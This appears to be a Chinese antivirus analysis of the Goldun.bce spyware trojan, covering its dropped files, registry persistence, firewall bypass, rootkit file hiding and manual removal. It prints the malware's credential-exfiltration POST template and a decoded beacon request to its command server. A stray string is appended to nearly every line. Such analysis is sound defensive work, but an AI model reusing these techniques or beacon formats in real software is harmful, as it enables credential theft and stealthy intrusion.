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Trojan-Spy.Win32.Goldun.bce分析
作者 开开   查看 137   发表时间 2008/10/29 17:39  【论坛浏览】
病毒标签hkzvjixjj
病毒名称: Trojan-Spy.Win32.Goldun.bcehkzvjixjj
病毒类型: 蠕虫hkzvjixjj
文件 MD5: 1FFCB1EA024C228ADE6D8DAD681C6ED7hkzvjixjj
公开范围: 完全公开hkzvjixjj
危害等级: 4hkzvjixjj
文件长度: 33,398 字节hkzvjixjj
感染系统: Windows98以上版本hkzvjixjj
开发工具: UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlohkzvjixjj
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病毒描述hkzvjixjj
该病毒为ecard病毒变种,病毒运行后添加注册表启动项,衍生病毒文件gzipmod.dll、vbagz.sys到%System32%目录下,该病毒调用系统进程rundll32.exe,并将gzipmod.dll、vbagz.sys以句柄的形式注入其中,添加注册表躲避系统自带防火墙,创建病毒注册表服务,病毒运行之后删除自身文件,创造了互斥体防止病毒多次运行,病毒驱动通过 nt!ObReferenceObjectByName 打开磁盘驱动 DriverDisk,并遍历该驱动创建的所有设备对象,该驱动记录这些设备对象的地址用来隐藏病毒衍生的文件,检测路由器支持的路由协议功能、保护该病毒衍生的文件不被查找、发现,连接网络隐藏打开地址,收集有关的电子邮件用户端使用受影响的系统。hkzvjixjj
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行为分析hkzvjixjj
本地行为hkzvjixjj
1、文件运行后会释放以下文件hkzvjixjj
%system32%\gzipmod.dllhkzvjixjj
%system32%\vbagz.syshkzvjixjj
2、添加注册表项,创建病毒服务hkzvjixjj
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\hkzvjixjj
SharedAccess\Parameters\FirewallPolicy\StandardProfile\hkzvjixjj
AuthorizedApplications\List\C:\WINDOWS\system32\rundll32.exehkzvjixjj
值: 字符串: "C:\WINDOWS\system32\rundll32.exe:*:Enabled:rundll32"hkzvjixjj
描述:添加注册表躲避系统自带防火墙hkzvjixjj
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\hkzvjixjj
Winlogon\Notify\gzipmod\DllNamehkzvjixjj
值: 字符串: "gzipmod.dll."hkzvjixjj
描述:添加注册表启动项hkzvjixjj
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\vbagz\DisplayNamehkzvjixjj
值: 字符串: "VBA PnP Driver"hkzvjixjj
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\vbagz\ImagePathhkzvjixjj
值: 字符串: "system32\vbagz.sys."hkzvjixjj
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\vbagz\Starthkzvjixjj
值: DWORD: 1 (0x1)hkzvjixjj
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\vbagz\Typehkzvjixjj
值: DWORD: 1 (0x1)hkzvjixjj
描述:添加病毒服务hkzvjixjj
3、创建rundll32.exe进程将病毒DLL文件注入到该进程中,创建病毒注册表服务,病毒运行之后删除自身文件。hkzvjixjj
4、病毒驱动文件通过 nt!ObReferenceObjectByName 打开磁盘驱动 DriverDisk,并遍历该驱动创建的所有设备对象,该驱动记录这些设备对象的地址用来在将来进行文件隐藏操作时用,检测路由器支持的路由协议功能、保护该病毒衍生的文件不被查找、发现,创建以下驱动设备:hkzvjixjj
dprothkzvjixjj
emulx86hkzvjixjj
fprothkzvjixjj
itcoehkzvjixjj
klitehkzvjixjj
ltppdhkzvjixjj
wlitehkzvjixjj
x86emulhkzvjixjj
xprothkzvjixjj
5、一旦执行,DLL文件试图删除该文件如下(未实现):hkzvjixjj
%Documents and Settings%\所有用户\开始菜单\程序\启动\newrnj.exehkzvjixjj
6、创造了互斥体名为:“trmirmtx”,防止病毒多次运行。hkzvjixjj
7、收集有关的电子邮件信息(未实现):hkzvjixjj
1000B07E=mzipmod.1000B07E (ASCII "POST /%s?dt=0&id=%u HTTP/1.0hkzvjixjj
User-Agent: %shkzvjixjj
Host: %shkzvjixjj
Content-Length: %uhkzvjixjj
Content-Type: multipart/form-data; boundary=---------------------------71438020933hkzvjixjj
Connection: Keep-Alivehkzvjixjj
Pragma: no-cachehkzvjixjj
---------------)hkzvjixjj
\n\n-----------------------------71438020933\n\nContent-Disposition: form-data; name="url"\n\n\n\nhkzvjixjj
\n\n-----------------------------71438020933\n\nContent-Disposition: form-data; name="stb"\n\n\n\nhkzvjixjj
\n\n-----------------------------71438020933\n\nContent-Disposition: form-data; name="frm"\n\n\n\nhkzvjixjj
\n\n-----------------------------71438020933\n\nContent-Disposition: form-data; name="cpn"\n\n\n\nhkzvjixjj
-----------------------------71438020933\n\nContent-Disposition: form-data; name="mydata"; filename="%u%u%s"\n\nContent-Type: application/octet-stream\n\n\n\nhkzvjixjj
POP3 Password2hkzvjixjj
POP3 Serverhkzvjixjj
POP3 User Namehkzvjixjj
IMAP Password2hkzvjixjj
IMAP Serverhkzvjixjj
IMAP User Namehkzvjixjj
网络行为hkzvjixjj
病毒运行后向195.93.219.***发送GET信息:hkzvjixjj
GET os****.net/222/data.php?trackid=706172616D3D636D64266C616E673D2669643D32323232hkzvjixjj
267368656C6C3D3026736F636B73706F72743D36303532267665723D392668747470706F72743D3630hkzvjixjj
353126757074696D656D3D3426757074696D65683D30267569643D3238443730323236323136463837443333 HTTP/1.0hkzvjixjj
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP 2600.xpsp.11894-27197)hkzvjixjj
Host: osliki.nethkzvjixjj
Connection: Keep-Alivehkzvjixjj
该连接已加密,解密后得到:hkzvjixjj
Os****.net/222/data.php?trackid=param=cmd&lang=&id=2222&shell=0&socksporthkzvjixjj
=6052&ver=9&httpport=6051&uptimem=4&uptimeh=0&uid=28D70226216F87D33hkzvjixjj
经分析此连接已失效hkzvjixjj
注:%System32%是一个可变路径。病毒通过查询操作系统来决定当前System文件夹的位置。hkzvjixjj
     %Windir%             WINDODWS所在目录hkzvjixjj
     %DriveLetter%          逻辑驱动器根目录hkzvjixjj
     %ProgramFiles%          系统程序默认安装目录hkzvjixjj
     %HomeDrive%           当前启动的系统的所在分区hkzvjixjj
     %Documents and Settings%    当前用户文档根目录hkzvjixjj
     %Temp%             \Documents and Settingshkzvjixjj
                     \当前用户\Local Settings\Temphkzvjixjj
     %System32%           系统的 System32文件夹hkzvjixjj
    hkzvjixjj
     Windows2000/NT中默认的安装路径是C:\Winnt\System32hkzvjixjj
     windows95/98/me中默认的安装路径是%WINDOWS%\Systemhkzvjixjj
     windowsXP中默认的安装路径是%system32%hkzvjixjj
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清除方案hkzvjixjj
1、使用安天防线可彻底清除此病毒(推荐),点击此处免费下载安天防线hkzvjixjj
2、手工清除请按照行为分析删除对应文件,恢复相关系统设置。推荐使用ATool管理工具,点击此处下载免费工具Atoolhkzvjixjj
(1)先打开Atool工具结束.rundll32.exe进程。 hkzvjixjj
(2)使用Atool工具删除病毒衍生的文件hkzvjixjj
hkzvjixjj
%system32%\gzipmod.dllhkzvjixjj
%system32%\vbagz.syshkzvjixjj
(3)删除病毒添加的注册表项hkzvjixjj
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\hkzvjixjj
FirewallPolicy\StandardProfile\AuthorizedApplications\List\C:\WINDOWS\system32\rundll32.exehkzvjixjj
删除List键下的键值C:\WINDOWS\system32\rundll32.exehkzvjixjj
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Notify\gzipmod\DllNamehkzvjixjj
删除Notify键下的gzipmod主键值hkzvjixjj
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Serviceshkzvjixjj
删除Services键下vbagz主键值

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